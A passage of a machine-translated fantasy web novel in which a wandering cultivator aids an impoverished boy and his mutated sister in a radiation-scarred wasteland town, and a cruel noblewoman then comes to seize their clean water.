    There is a town, and it seems that not only life exists in this terrible world, but civilization has also formed.


    At this time, Xue An looked at the boy again.


    His clothes were ragged, his figure was thin and his face was dirty, but there was a bright glow in his eyes.


    What attracted Xue An in particular was the short knife in his hand.


    The boy just took this knife and chopped off the front paw of a demon wolf.


    But Xue An could tell at a glance that this was an ordinary knife with very rough workmanship, not a magical blade at all.


    But judging from the linen cloth wrapped around the handle of the knife, and Atuna''s precious appearance, this knife seemed to be his very important property.


    At this time, Atu hesitated when Xue An was staring at him without speaking. After a while, he gritted his teeth and pointed at the corpses of the devil wolves on the ground.


    "My lord, I can help you peel off the skins of these magic wolves, and you only need to give me a wolf skin as a reward!"


    As if afraid of Xue An��s refusal, Atu said quickly: "My lord, my skinning technique is one of the best in Heshan Town. These magic wolves were killed by you, and there are no other scars on their body so just If you peel it off properly, you can definitely sell it for a good price!"


    Xue An certainly doesn''t care about these so-called magic wolf skins, but with a slight movement in his heart, he nodded, "Okay!"


    Atu was overjoyed, "Thank you, sir!"


    After all, he began to peel the skins of these magic wolves.


    As he said, his skinning technique is indeed top-notch.


    The blood in the corpses of these magic wolves was first drained, and then the skin and flesh were separated with a knife very skillfully.


    The movements are smooth and flowing, and the speed is extremely fast.


    But the effort of a meal.


    The skins of these magic wolves were peeled off.


    A Tu''s face was shining with excitement.


    Such a good demon wolf skin, if you take it back, you can exchange many useful things, such as grade three pure water!

 Chapter 701： Wasteland world

    Thinking of the water, Atu couldn''t help licking his dry, chapped and bleeding lips.


    At this time, Xue Anshun took out a bottle of mineral water from the mustard ring and handed it to him.


    "My lord, this is..." Atu looked at the bottle of crystal clear water in his hand, his face full of consternation.


    Xue An smiled slightly, "Water! You should be thirsty by your appearance, drink it!"


    A Tu Da was stunned.


    water!


    And it is extremely crystal clear water without any impurities.


    Atu doesn''t know how to classify this bottle of water, grade four pure water?


    No, he has seen Grade 4 pure water, which is also a kind of muddy water mixed with red.


    Could it be grade 5 or even grade 6 water that only the adults in the area can enjoy?


    Thinking of this, Atu''s hands started to tremble.


    Then he couldn''t help but unscrewed the cap and took a sip carefully.


    When Gan Li''s water entered his mouth, Atu''s eyes went round immediately.


    It is not numb when it enters the mouth like usual water.


    The water is so soft, and it is instantly absorbed by the body, without any discomfort during the whole process.


    No... the top pure water without radiation?


    Atu was frightened by the thought that popped in his mind.


    As a person who has been struggling to survive since childhood, a bottle of pure water without radiation is something he can''t even imagine.


    Then there was infinite regret in his heart, regretting that he just shouldn''t drink the sip of water.


    How many good things can be exchanged for a mouthful of top pure water!


    Seeing this boy standing in the same place, holding the mineral water, his expression changed.


    Xue An was stunned for a while, and then he came to understand and couldn''t help but smile.


    "Atu!"


    "My lord!" Atu awoke from annoyance and confusion, and said hurriedly.


    Xue An pointed to the wolf skin on the ground, "Is there a place to deal with these things in your town?"


    Atu immediately nodded, "Of course! Fatty Feng in the tavern will take these wolf skins!"


    Xue An nodded, "Well, you take me to your town, there will be another reward at that time!"


    Atu shook his head when he heard the words, and solemnly said: "My lord, the bottle of water you gave me can already buy all the wolf skins. You don''t have to pay me any more!"


    After all, Atu packed the bottle of water extremely precious, then packed all the wolf skins on the ground and carried it on his back.


    "My lord, please come with me!"


    Pass through an astonishingly desolate wilderness, and then pass around a cone-shaped mountain that looks like a melting candle, and the mountain is shining with glass.


    A dilapidated town appeared in front of him.


    Said to be a small town, in fact, there is only one five to six hundred meters long street.


    On both sides of the street stood houses made of stones and clay, and this is already the best house in the town.


    Because behind the street is a large shack that is too simple to be called a house.


    "My lord, this is Heshan Town! If you want to sell these wolf skins, you can only go to the tavern to find Fatty Feng!" As Atu said, he led Xue An into the town.


    The streets are very messy and mixed with a very pungent and unpleasant smell.


    And when Atu appeared with a thick pile of wolf skin on his back.


    Many surprised eyes were cast from the shops on both sides of the street.


    "Hey, Chen family boy, did you actually get so many demon wolf skins this time?" A sturdy one-eyed man walked out of the room, even carrying a butcher knife in his hand.


    A Tuyong whispered in a voice that only Xue An could hear: "My lord, this man is a butcher in the town. He specializes in selling all kinds of edible beast meat, and he has a good relationship with the chief, so try not to provoke him."


    Xue An was noncommittal, just listening quietly.


    At this time, many people had already walked out of the shops on both sides, looking at Atu and Xue An in silence.


    Xue An glanced at these people and found that some of them were very weird.


    For example, some people have meat skewers that resemble grapes, which makes their scalp numb.


    Others are covered with festering scars.


    Are there any sequelae caused by radiation?


    A thought flashed in Xue An''s heart, but a faint smile rose from the corner of his mouth.


    At this moment, Atu said loudly, "These magic wolf skins were ordered by Fatty Feng from the tavern, butcher, do you want to do it?"


    Hearing the three words of Fatty Feng, the butcher''s expression changed, then he laughed slyly, and turned back.


    He left, and the rest of the crowd dispersed.


    Atu breathed a sigh of relief and led Xue An forward.


    "My lord, although these guys are not very good, if they fight and annoy the boss, they will be in trouble! Fortunately, they are all afraid of Fatty Feng."


    With that, they came to the most solid and sophisticated house.


    There was a half-dirty curtain hanging on the door of the room, which was invisible to the original color, and bursts of noise and laughter were heard from inside.


    "My lord, this is the pub in town!"


    As Atu said, he opened the curtain and walked in.


    Xue An followed behind.


    Wait a minute to enter the house.


    A scent of inferior perfume and alcohol came over.


    The room was very dark, with only a dim oil lamp lit on the wall.


    Many men surrounded the bar.


    At this moment, these guys are hooting at the bar.


    I saw a woman with a revealing and graceful figure twisting on the bar.


    The men who mobilized them made bursts of howls from time to time.


    The appearance of Atu and Xue An did not attract much attention.


    Even the gazes of several guards were attracted by this woman.


    It was not until Atu stepped forward to say a few words that these guards pointed their fingers along the back.


    Atu came over and said, "My lord, Fatty Feng is behind, come with me!"


    After passing through the lobby of this bar, there is a long corridor behind.


    Atu just walked to the end of the corridor, and a brawny bald man walked out of the darkness.


    "What are you doing?"


    "I''ll give Fatty Feng a wolf skin!"


    The burly man looked at the demon wolf skin that Atu was carrying on his back, but his eyes were attracted by Xue An.


    "Who is he?"


    "This is the adult who killed the devil wolf! A second-order warrior!" Atu introduced.


    Second-order samurai!


    Hearing this name the bald man''s face changed wildly. Just as he was about to say something, he heard a lazy voice in the room.


    "It''s been a long time since the high-ranking warriors have passed by in Heshan Town, please come in!"


    Atu secretly breathed a sigh of relief, lowered his voice and said, "My lord, you must remember that you are a second-order warrior!"


    Xue An smiled slightly, and then walked into the room.


    This is a well-decorated room, but when you come in, everyone''s eyes are attracted by the fat man sitting in the middle of the room.


    Only then did Xue An understand why he was called Fatty Feng.


    Because he is so fat.


    With a weight of three to four hundred jin, he was like a meat mountain when he sat there.


    And there was a terrible sarcoma growing on his extremely fat head.


    People shudder when they see it.

 Chapter 702： Exchange materials

    At this time, Atu said respectfully: "Fatty Master Feng, this is the magic wolf skin for sale."


    With that, Atu took off the devil wolf skin he was carrying and placed it on the table in front of Feng Fatty.


    In this world, being fat means power and wealth, so it is an honor to be called fat.


    Fatty Feng stretched out his hand and rubbed these magic wolf skins, his eyes lit up slightly.


    "One shot to kill, good swordsmanship!"


    After all, he looked up at Xue An, "Respected samurai, what are you going to exchange for these wolf skins?"


    Xue An pointed to Atu and said lightly: "Ask him!"


    Atu was startled.


    Xue An smiled at him, "Anyway, I don''t know what''s here, you should exchange it!"


    Atu slightly hesitated, then nodded.


    At this time, a servant sent a redemption list.


    Atu stared at the items on the list with beaming eyes.


    "Well, fire scorpion jerky, this one has low radiation and tastes great! Come on!"


    "The marching cloak, this one can shield some radiation when worn on the body, an artifact to go out! You need one."


    "Zhaoyezhu can shine at night without consuming oil, a must!"


    While talking about the purpose of things, Atu looked at Xue An.


    Xue An was noncommittal, without any expression.


    Until the choice was made, Atu cautiously asked: "My lord, do you think this is okay?"


    Xue An nodded, "Very well."


    At this time, Atu safely submitted the list of requirements.


    This Fatty Feng glanced at him and nodded, "Chen, don''t say, these things you choose, even the hunters who have been walking in the wilderness all year round can''t fault it, but why didn''t you choose the most important water? ?"


    "Ah, this adult is carrying a water bag with him. I don''t need it for the time being!" Atu explained quickly, and blinked at Xue An undetected.


    Xue An smiled and did not speak.


    "Okay! Just prepare according to the above items!" Fatty Feng handed the list to the servant, and then smiled at Xue An.


    "In order to show my respect to a high-ranking samurai passing by, I can provide you with a clean room for free, and you can stay in until you leave."


    Xue An just nodded slightly, "Okay!"


    On the contrary, Atu looked at Xue An with envy, and couldn''t help but sigh, this is the strength of the second-order warrior.


    No matter where you go, it is respectable.


    I don''t know when I can become a second-order samurai?


    If it succeeds, the little girl won''t have to suffer along with herself.


    Atu was thinking.


    A servant carried a large bag full of things.


    "This is what you need."


    Xue An nodded slightly, and said to Atu: "Please continue to help me carry it!"


    Atu nodded without hesitation, and then carried a large bag of things on his back.


    Xue An nodded to Fatty Feng slightly, turned and left the room.


    Waiting for everyone to go away.


    Fatty Feng''s sight was withdrawn from Xue An''s back, and he said solemnly, "What do you think?"


    Following the voice, in the corner of the room, a small door was pushed open, and then a woman with a revealing and graceful figure walked in through it.


    It was the dancer Xue An encountered dancing on the bar when he entered the pub.


    It''s just that at this moment, the dancer''s face no longer has the coquettishness that she had just now, instead she shook her head solemnly.


    "Can''t see through!"


    Hearing this, Fatty Feng trembled with the flesh on his fat face, "Can''t even you see it?"


    The dancer nodded.


    "I have been trying to test the details of this man since just now, but I have found nothing, but from the neat cuts of these wolf skins, it can be seen that this man has very high sword skills! He should be a swordsman." Feng Fatty said in a deep voice. .


    The dancer stared at the wad of wolf skins on the table, silent.


    "Now there are big people in the city in our small town, and now there is such a high-ranking warrior who doesn''t know what the background is. It''s really confusing!"


    "That''s why you let this person live?" The dancer said lightly.


    Fatty Feng smiled, his eyes flashed a harsh light, "No matter what his origin or purpose is! Now that he has entered my place, then I have the final say. If it can be drawn, I will draw over. It is really impossible. , Then kill! Even if he is a high-ranking warrior, it is the same!"


    The dancer nodded slightly, and then asked: "What is the origin of the guest that the chieftain is entertaining? Why is it so powerful?"


    "Hehe, I heard that it is a nobleman in the city, and I don''t know why he came to our mountain and river town. Besides, who can guess what these big men think!"


    "But I heard that the kid in the elder brother is now waiting like a dog before and after every day. I want to laugh when I think of this!" A mocking smile appeared on Feng Fatty''s face.


    The dancing girl was silent, and slowly retreated into the darkness, disappearing.


    At the same time, Xue An and Atu had already walked out of the tavern.


    "My lord, I didn''t let you talk just now, because if the fact that you have top-level pure water spreads out, it will be a disaster! Even if you are a high-ranking warrior!" Atu said.


    Xue An smiled slightly, "You seem to know this well?"


    Atu smiled bitterly, "You are a high-ranking samurai. Naturally, you don��t understand how we people survive. Sometimes, for a cup of sewage, someone will fight with each other and even fight with each other. What''s more, what you have is There is no more polluted pure water!"


    Speaking of this, Atu quietly pressed the water bottle hidden in his chest, and a happy light appeared on his face.


    "My lord, where are you going to put these things? I''ll take them back to you!"


    Xue An shook his head, "These things are for you!"


    "Huh...huh?" Atu thought he had heard it wrong.


    Xue An smiled slightly, "I don''t need these things at all, but you need them more, so let''s give them to you!"


    Atu stared at Xue An for a while, and then started to tremble.


    "Big...sir!" Tears gradually appeared in his eyes.


    These things were all luxury items he couldn''t even think of before.


    For example, the walking cloak that can shield part of the radiation. If he has this, he can walk deeper into the wilderness and last longer.


    This means more resources can be obtained.


    In this cruel world, resources mean survival.


    Xue An smiled slightly, "Don''t be so excited, if I''m not wrong, you took the initiative to fight the wolves! Is it for the wolf skin? And what''s the matter with your sword?"


    Hearing these words, Atu lowered his head and said with a bit of choking, "Sir, my sister and I have not drunk secondary water for three days before meeting you. If this continues, not only will my sister''s mutation become worse , Even I will gradually mutate."

 Chapter 703： Depend on each other

    "And once it mutates, it will be completely finished, so I will venture to fight the devil wolf and want to get a glass of clean water!"


    "As for my sword technique, it was an ability that I awakened last year, and I don''t know what''s going on."


    Xue An was somewhat silent.


    If you think about it, you can know what the so-called clean water looks like in Atu''s mouth.


    That may be the waste water that is called dangerous goods on the earth.


    But here is a precious resource that people rely on for survival.


    And Atu''s words also corroborated Xue An''s thoughts.


    The sword technique he used was a kind of natural ability, a supernatural ability that had nothing to do with cultivation base and spiritual energy, and was completely generated by himself.


    But Xue An always felt that this talent was more like a mutation.


    "Do you still have a younger sister?"


    Atu nodded, a happy smile appeared on his face, "If you don''t dislike it, you can follow me home to take a look! My sister looks good!"


    Xue An smiled slightly, "Okay!"


    At the back of the street is a large stretch of shanty towns.


    These sheds are all built with various waste products, not even a house at all, but at best they can block the sun.


    Xue An followed Atu on the complicated path.


    From time to time, Atu would greet people around him.


    If these people can be called people.


    Because it is closer to the wilderness, the radiation is more serious.


    In addition, there is no shelter, so many people living in it have begun to mutate seriously.


    Especially for the elderly and children who are unable to obtain clean water, the variation is more serious.


    When Xue An followed Atu, many people looked at Xue An with awe and fear.


    After all, in this place, there are few people as clean and tidy as Xue An.


    Just after passing a corner, a scrawny young man whose hand had been mutated like a branch suddenly blocked his way.


    "Atu, you had a good harvest today!" The boy looked at the big parcel that Atu was carrying with greedy eyes.


    After seeing the young man, Atu flashed a light of disgust in his eyes, and then coldly snorted: "This is my reward for working for this second-order warrior! Yao Xiaofei, what do you want to do?"


    Second-order samurai!


    This title made this Yao Xiaofei''s complexion change, he looked at Xue An in awe, then turned and ran away.


    "This guy wanders around here all day, and often steals food from my sister and me! Just like hyenas in the wilderness, it''s annoying!" Atu said very displeased.


    At this time they had come to a broken shed on the edge of the shanty town.


    This shed is considered the most dilapidated in this shanty town, crooked and crooked, as if it were about to collapse soon.


    At the same time, he was still in the most fringe zone, facing the strong radiation outside.


    But after Ah Tu arrived here, a gentle expression gradually appeared on his face.


    "My lord, this is my home and my little sister!"


    With that, Atu stepped forward and pushed aside the thing that could barely be called a door.


    "Little girl! I''m back!"


    Following Atu''s voice, a young girl walked out from the shack.


    "Brother, is that you?"


    At the first glance of this young girl, even Xue An couldn''t help but feel some scalp tingling.


    Because this girl has obviously begun to mutate.


    The fleshy grape-like things grew on the originally beautiful cheeks, which looked very hideous and terrifying, and even pulled the nose and mouth at a strange angle.


    But the girl''s eyes are extremely beautiful, and her brows are as gentle as pictures.


    But at this moment, these delicate eyes were covered with a gray haze, dim and dull.


    And from the way she fumbled around the wall when she came out, it can be inferred that the girl was obviously blind.


    A bright smile appeared on Atu''s face, "Well! It''s me! Sister, I''m back!"


    "Huh, are there any guests?" the girl said with a smile.


    Although her cheeks were very weird, when she laughed, her eyebrows and eyebrows curled up and looked very gentle.


    "Yes, this is a high-ranking samurai! He sent me back! And he also gave us a lot of things!" Atu said with a smile.


    The girl trembled when she heard the words, then stretched out a pair of slender hands and gently saluted in Xue An''s direction.


    "Thank you, sir, for saving my brother!"


    Xue An smiled, "You''re welcome!"


    At this time, Atu put down the big bag of things, and then picked out a good fire scorpion jerky, "Sister, try it soon!"


    The girl waved her hand, "I''m not hungry, brother, eat first!"


    "Oh, if you let you eat it, you can eat it. This time the adult gave me a lot of things! Don''t save it and give it to me!" Atu said angrily.


    The girl then caught it, then took a bite and chewed slowly.


    "Is it delicious?" Atu asked with a smile.


    The girl nodded, "Well, it''s delicious!"


    Atu smiled happily, "Sir, sister, you are waiting here, I will put these things up first, otherwise they will rot!"


    As he said, Atu happily carried the big bag of things into it.


    At this time, the girl cherished the fire scorpion meat jerky in her pocket, and then whispered: "Sir, was my brother very dangerous at the time?"


    Xue An was taken aback, then nodded, "Yes! If I go late, he will die!"


    The girl was silent for a moment, and then said lowly: "Brother silly, I persuaded him not to go, but he insisted not to listen. I just smelled the blood on him, but I dare not say!"


    "Actually... I know he is for me, but I don��t have to drink first-grade water every meal to eat jerky. The water in those puddles is hard to drink, but I��m used to it! Really! I just want to Brother live!"


    The girl''s voice was calm, calm to the point of cruelty.


    Xue An did not speak, but listened quietly.


    The girl said in a low voice at this time: "My elderMy brother is very powerful and sensible. If you lack any entourage, can you let him go? Don''t worry about me, I can live alone!"


    Just as the girl was about to continue speaking.


    Atu walked out excitedly, holding a bowl of water in his hand.


    "Sister, come, drink water!"


    "Brother, I''m not thirsty, I just drank it just now..."


    "Drink!" Atu said solemnly.


    The girl obediently took the bowl, took a sip slowly, and then froze.


    "Hey, delicious, right?" Atu said with a grin.


    "This...this is..."


    "This is the top pure water that adults gave me! Drink it!"


    The girl shook her head, "Brother, this water is too precious, you should change to other things!"

 Chapter 704： Conceal evil intentions

    "No, this is for you, because I have heard people say that even if you are a mutant, as long as you drink this top pure water without radiation, you will gradually recover!" Then anxiously said: "Drink quickly , Otherwise people outside will smell it, but it will be too late!"


    When the girl heard these words, she obediently drank the water in the bowl.


    Atu nodded in satisfaction.


    Xue An who had witnessed all this sighed slightly.


    He just admired this very assertive boy a little, but when he saw this scene, he couldn''t help but sigh.


    All beings are suffering, and these four words are true.


    Xue An took another large bundle of mineral water from the mustard seed ring, put it on the ground, then turned and left.


    Atu looked at the mineral water on the ground, and he looked stupid.


    It took a long time before he woke up, and then rushed out.


    "Big... Your lord, you..." Atu gasped and wanted to say something.


    Xue An didn''t turn his head back, "Be good to your sister, don''t take risks in the future! Also, if there is no accident in these two days, I should live in the tavern, and you can go there to find me if you have anything to do!"


    After speaking, Xue An left.


    Atu stood on the spot, quietly looking at Xue An''s away back, suddenly took a deep breath, knelt down respectfully, knocked his head silently, then got up and left.


    But he didn''t notice that when he kowtow, behind a shack not far away, the Yao Xiaofei was looking at him with a little head.


    Xue An returned to the tavern.


    Fatty Feng had already notified his men, so when he came back, someone led him to a room on the upper floor of the tavern.


    Although the decoration of this room is not gorgeous, it is very clean and tidy. Even the walls are thickened. Standing in it, even the radiation is much weaker.


    "Respected lord, if you have any instructions, you can always find me!"


    After speaking, the butler-like servant left the room.


    Xue An felt the eavesdropping person outside, smiled slightly, and waved his hand to set up a shielding barrier.


    Then Xue Ancai summoned An Yan and his two daughters in Fu Bao Xiaolou.


    "Wow, Dad, where is this place?" Miss Miss is a little bored in the Fubao Xiaolou. Although the space inside is large and there are all kinds of toys and snacks, it is very depressed after all. .


    So when he was released, he seemed very excited.


    An Yan frowned slightly, because she also felt the unusualness of this world.


    Xue An smiled slightly, "This is our first stop after coming out of the earth!"


    "Wow, then this is an alien!"


    The two little girls began to curiously toss the furnishings in the room.


    An Yan walked to Xue An''s side, "Husband, is this the black star before?"


    Xue An nodded.


    "But the aura here is very poor, there should be no practitioners, why do you stay here?" An Yan was a little surprised.


    Xue An shook his head, "I didn''t even think about it at first, but then I changed my mind!"


    "Huh? Why?"


    "Because this world is unusual, there are nuclear bombs here, but the level of civilization here is very low. It is absolutely impossible to rely on them to develop nuclear bombs!"


    "And..." Xue An paused, his eyes flickering.


    "I can feel the origin of this star, so I am sure that this place must not be the way it is now. But the origin power of the latter star is constantly being swallowed by something, and it will gradually decline. To put it bluntly, it is gradually Die."


    "Therefore, I think it''s obviously a bit weird here. I want to see who did it and can steal the origin of a star."


    After listening to Xue An''s words, An Yan nodded without understanding.


    "Well, but you have to be careful."


    Xue An smiled upon hearing the words, "As you said, there are no cultivators here at all. The warriors in this world I have come into contact with are actually all performed by a talent similar to that after mutation, and then follow the first and second tiers. The ability to divide, according to my observations, there should be no existence that can threaten me."


    As they were talking, the two little girls walked over boredly.


    "Dad, it''s so boring here!"


    "Yes, Dad, no ice cream, no toys, even the dusty world outside the window, it''s boring!" Niannian said.


    Xue An squatted down and said with a smile: "What should I do? Or should you two go back to the small building?"


    Thinking and Nian Nian Wenyan all shook their heads, "No! It''s even more boring in there!"


    At this moment, Nian-nian''s eyes suddenly lit up, "Dad, or let''s eat hot pot, I suddenly want hot pot!"


    Xue An smiled, "Okay!"


    With that said, Xue An took out a pair of tables and chairs directly from the mustard ring, and then took out the copper pot and various ingredients.


    All these things in the mustard ring are readily available.


    Soon, Xue An made a hot pot.


    The family began to sit around the table eating steaming hot pot.


    At this moment.


    In that shanty town.


    Yao Xiaofei tiptoed to the house where Atu brother and sister lived.


    Yao Xiaofei muttered as he walked.


    This Atu is really lucky!


    Can actually cling to a second-order samurai.


    Also got so many good things.


    Otherwise, how could he kneel down and salute others?


    Thinking of this, Yao Xiaofei''s jealous eyes turned blue.


    No, why do you brothers and sisters get so many good things? Give me some points for these things!


    Thinking inside, Yao Xiaofei came outside the shed.


    There is no sound inside.


    He approached gently.


    He did not dare to make too much noise.


    Because Atu is now awakening a person with a talent for swordsmanship ~ www.novelhall.com~ If he is not careful, he will definitely kill him.


    Thinking this way, Yao Xiaofei had already got to the shabby window of the shed.


    suddenly.


    He smelled a faint water vapor.


    In this world, because water is precious and scarce, many people have evolved the ability to smell water and can use this skill to find water.


    And this Yao Xiaofei was taken aback when he smelled the water vapor.


    Because this moisture smells mild and sweet, it doesn''t have the pungent smell of polluted sewage at all.


    Yao Xiaofei''s heartbeat began to accelerate, and then silently attached to the window to watch.


    I saw Atu inside holding a crock pot and scooping it with a small bottle cap to clean the mutated tissues on his sister''s eyes and face.


    The girl said distressedly: "Brother, don''t wash it, this is a waste of water!"

 Chapter 705： Nobles in the city

    Atu shook his head. "I''ve heard people say that if you use this kind of clean water without radiation to clean the wound, it will speed up recovery!"


    "But you are not willing to drink this water, but you use it to clean my wounds..." the girl said sadly.


    "Hey, it''s okay, the cleaned water can be drunk after a little precipitation! And even this is much better than the five-grade water sold outside!" Atu said.


    Hearing the dialogue between the two brothers and sisters, and looking at the incomparable pure water in the crock pot, Yao Xiaofei gradually came to his senses from his consternation, and then licked his lips greedily.


    Top pure water without the slightest radiation.


    This temptation is simply too great.


    But Yao Xiaofei knew that with his own strength, it was absolutely impossible to be Ah Tu''s opponent.


    And if he noticed that he was peeking, then he would definitely die.


    After all, it is not uncommon to kill people for a bottle of first-class water in this land.


    What''s more, it is such top pure water.


    This is even enough to cause a small-scale group fight.


    Yao Xiaofei''s eyes flickered, and he remembered the scene of Atu''s reprimand. The expression on his face gradually became fierce, then he leaned down and quietly retreated to the distance, turned and disappeared into the night.


    But for all of this, the Atu brothers and sisters, who were immersed in a beautiful fantasy about the future, had no idea.


    Shanhe Town at night becomes more and more desolate and terrifying.


    The radiant wind of the wilderness blew together with the roar of monsters at night, which made people shudder.


    Yao Xiaofei stumbled onto the street, and then went straight to the butcher shop in the center of the street.


    There is the residence of the butcher in the small town.


    Yao Xiaofei understood that if he wanted to benefit from this matter, he had to get the permission of these top figures in the town.


    So he should have gone to see the chief.


    But Yao Xiaofei''s status, how could it be possible to see the li grower.


    So Yao Xiaofei thought about it when he was on the road. The first thing to notify is the butcher.


    He has a good relationship with Lord Lizhang, and only through him can I see Lizhang.


    By this time, the door of the butcher shop was already closed.


    But when I came to the door, I could hear the sound of shaking the bed board inside.


    Yao Xiaofei took a deep breath and then started knocking on the door.


    "Master Butcher, please open the door, I have something important to report!"


    After a while, I heard a thunderous roar from inside.


    "It''s TM who is making noise outside, spoiling my interest, uncle?"


    Then the door was pulled open, and the butcher stood in front of the door shirtless.


    Yao Xiaofei hurriedly nodded and bowed and said, "Master Butcher, it''s me! Yao Xiaofei!"


    The butcher stared at it with triangular eyes and his expression became more and more gloomy, "Give me a reason, or I promise that tomorrow your meat will appear on my chopping board."


    Yao Xiaofei trembled all over, and stammered: "Master Butcher, I do have something important to report!"


    With that, he leaned forward and whispered a few words in the butcher''s ear.


    The haze on the butcher''s face was swept away, and greed and excitement appeared in the triangular eyes, "Really?"


    Yao Xiaofei nodded, "It''s true, I saw it with my own eyes!"


    "Very good! You did a good job!" The butcher patted him on the shoulder very seriously, "Go, come with me to see the chief."


    This butcher can mix well in a cruel place like Shanhe Town, entirely because he has self-knowledge.


    If it''s a normal thing, then if he sneaks it up and doesn''t report it, even if the resident knows it, it''s probably just a whip at best.


    But this time it was top pure water.


    Such a thing is not something the butcher dared to get involved.


    So he made a decisive decision and immediately reported to the resident.


    After Yao Xiaofei was boasted by the butcher, all his bones were soft. He immediately followed the butcher and went to the Lichang Club at the end of the street.


    The Lichang Club is the strongest and most luxurious building in Heshan Town.


    The three-story stone building is sufficient to resist all bow and arrow attacks.


    As the chief officer of the whole town, the chief of the town lived here.


    But the past few days are different. Every day there are luxurious carriages parked in front of the door.


    It is said that a big man from the city has come to town.


    So even the butcher has not dared to come here these days.


    But today''s situation is special. After the butcher rushed here, he first greeted someone he knew.


    "Is the resident here?"


    The guard nodded, "Just waiting for the adult in the city to sleep, he should be in the living room."


    The butcher led Yao Xiaofei to the living room quietly.


    The long was a middle-aged man with a burly figure and a gloomy face. He wore a well-tailored shirt with a sword on his waist and looked very majestic.


    After seeing the butcher, the chief frowned, "Who asked you to come? The lord of the city is here now, what if you run into her?"


    A flattering smile appeared on the butcher''s face, and then he stepped forward and said a few words softly.


    The face changed greatly, "Really?"


    The butcher nodded.


    The chief looked at Yao Xiaofei who was standing behind tremblingly, and said in a deep voice, "Are you sure you can see clearly?"


    "Yes, Mr. Li! I saw it all true, and my nose is very sensitive, so I can be sure that it is top pure water without any radiation!" Yao Xiaofei said quickly.


    The chief took a deep breath, his eyes flashing with excitement.


    "Top pure water, hehe..."


    But just when he was about to send people to the shanty town


    From the stairs leading to the second floor came a lazy female voice, "Top pure water? Can you have top pure water in your dirty and tattered town?"


    Following the voice, a slender but arrogant woman in a long skirt walked down the stairs slowly.


    Seeing this young woman, the chief clerk hurriedly took a step back, and said in a sincere panic: "Honorable Miss Xia, I have disturbed your rest!"


    Xia ignored his words, but looked at Yao Xiaofei, "How can the top pure water appear in the shanty town?"


    Yao Xiaofei is a little silly He has lived in this small town since he was a child. Has he ever seen such a glamorous woman?


    He didn''t wake up until he heard the question, and hurriedly said, "Back...to this lord, I saw a second-order warrior send this Atu back, and the water should be given to him by the second-order warrior !"


    Second-order samurai?


    The chief and the butcher all changed in color.


    Then the chief looked at a man who looked like a housekeeper behind him.


    The man stepped forward and whispered: "Yes, there was indeed a strange man who appeared in the town today and sold a lot of magic wolf skins to Fatty Feng in the tavern, and he now lives in the tavern."


    "Tavern, Fatty Feng..." The expression on the long face became a little strange.


    And the corner of Miss Xia''s mouth raised a sneer smile.


    "Second-order samurai...hehe, something like ants!"

 Chapter 706： Cruel Act 1

    Hearing what this Miss Xia said, the chief and the butcher were all silent.


    Yes.


    The second-order warrior, who is very powerful for this small town, might be nothing if placed in the city.


    Xia licked her lips at this time, her eyes flashing with excitement and bloodthirsty light, "Since I came to this shabby place, this lady has been boring to death every day. Since someone has brought it to the door today, let''s start a feast of killing. Right!"


    The chief and the butcher looked at this noble man, glanced at each other together, then grinned and said: "As you wish, noble lord."


    In the shanty town, the two brothers and sisters Atu have not slept yet.


    Atu seemed to be over-excited, he kept playing with the materials he got today, and then chatted endlessly.


    "Sister, this is called a marching cloak. If you touch it, is it very smooth? With this thing, I can go deeper into the wilderness, and then I will get more resources."


    "This is a bright night pearl, a treasure that can shine without burning precious grease or candles! With it, I can even enter the wilderness at night to collect resources."


    Chen Xiaomei listened quietly and smiled from time to time, but after Ah Tu finished introducing, Chen Xiaomei said in a low voice: "Brother, are you almost unable to come back today?"


    When mentioning this incident, Atu trembled all over, and then he smiled disapprovingly, "I was thinking of catching a single demon wolf, but who knows that these demon wolves are very cunning, and they will set up traps! Fortunately, the adults appeared in time. , Otherwise it would be really troublesome."


    Atu was trying his best to talk about this matter lightly, like a very ordinary trivial matter.


    There were tears in Chen Xiaomei��s godless eyes, and she trembled: "Brother, this time you are lucky. You met an adult to save you, but what about next time? What about next time? Does it depend on luck ?"


    Asked, Atu bowed his head and said nothing.


    With her keen intuition, Chen Xiaomei stretched out her hand and gently stroked Atu��s cheek.


    "Brother, promise me, don''t take risks for me in the future, okay? Even if you pick up **** on the edge of the wilderness, don''t go deeper, it''s too dangerous!"


    "Yeah!" Atu whispered.


    "In fact, today''s adult should need an entourage, brother, you can beg him, in this case..."


    "Don''t say it." Atu interrupted his sister and said firmly: "I won''t abandon you and leave!"


    Chen Xiaomei seemed to have anticipated that Atu would say so, she couldn''t help but sighed, "Brother..."


    "Don''t mention it again! It''s late, go back to sleep!" Atu said softly, and then got up to go back to sleep in the small shack behind.


    Chen Xiaomei sat there in a daze, after a long time, she sighed quietly.


    At this moment, Atu, who had just laid the bedding and was about to lie down to rest, suddenly sat up, looking out the door with uncertain eyes.


    "who?"


    The voice just fell.


    Seeing the wooden door that had long been dilapidated suddenly shattered, the butcher who was carrying two bony knives in his hand slowly walked in.


    He grinned at brother and sister Atu, "Brother and sister Chen, good evening!"


    Atu was startled, and he got up and wanted to say something, but saw the resident grower and many guards walking in from behind the butcher, and there was a person standing behind the resident.


    "Yao Xiaofei?" Atu''s heart was shocked, and he had a foreboding that things were not going well.


    At this moment, a disgusting female voice came from outside, "What a disgusting dirty place! I hope I won''t come in vain this time!"


    With that, Shia walked in slowly.


    Such a girl in full dress made Atu horrified, because he could feel that there were some very terrifying auras behind this girl.


    He subconsciously blocked the little sister behind him, and tried his best to keep calm, "Masters, what are you doing here?"


    Xia chuckled, "Little guy, do you still want to be stiff now? Now hand over the pure water, otherwise...!"


    Atu felt desperate. The thing he was most worried about still happened, but he still said without changing his face: "This honorable lord, I think you must have made a mistake. We are just a group of refugees. I can��t drink grade water, how can there be pure water?"


    But as soon as his words fell, Yao Xiaofei said excitedly: "Chen Atu, don''t pretend to be stupid anymore. I have seen it with my own eyes. Not only do you have top-level pure water, you even clean your ugly sister with pure water. wound!"


    Atu''s expression changed, "Yao Xiaofei, you don''t spit people here!"


    As soon as the voice fell, a huge force suddenly struck, directly flying Atu out.


    "Brother!" Chen Xiaomei exclaimed.


    Xia looked at Xiaomei Chen''s weird face with a bit of disgust, and then said coldly: "I''m asking you to hand over the pure water now. Who told you to talk such nonsense?"


    Atu��s chest was so painful that he couldn''t even breathe, but he shook his head after hearing this, "My lord, I really don''t know..."


    Atu knows very well that at this time, you will definitely die, and if you don''t, there may be a silver lining.


    But Xia laughed when she heard the words, and then licked her lips, "Very well, since I don''t say anything, then I will prepare a dinner for you brother and sister next, I hope you will like it!"


    With that, Xia slowly walked towards Chen Xiaomei.


    "You...what are you going to do? Let go of my sister!" Atu roared in anger and thought of getting up.


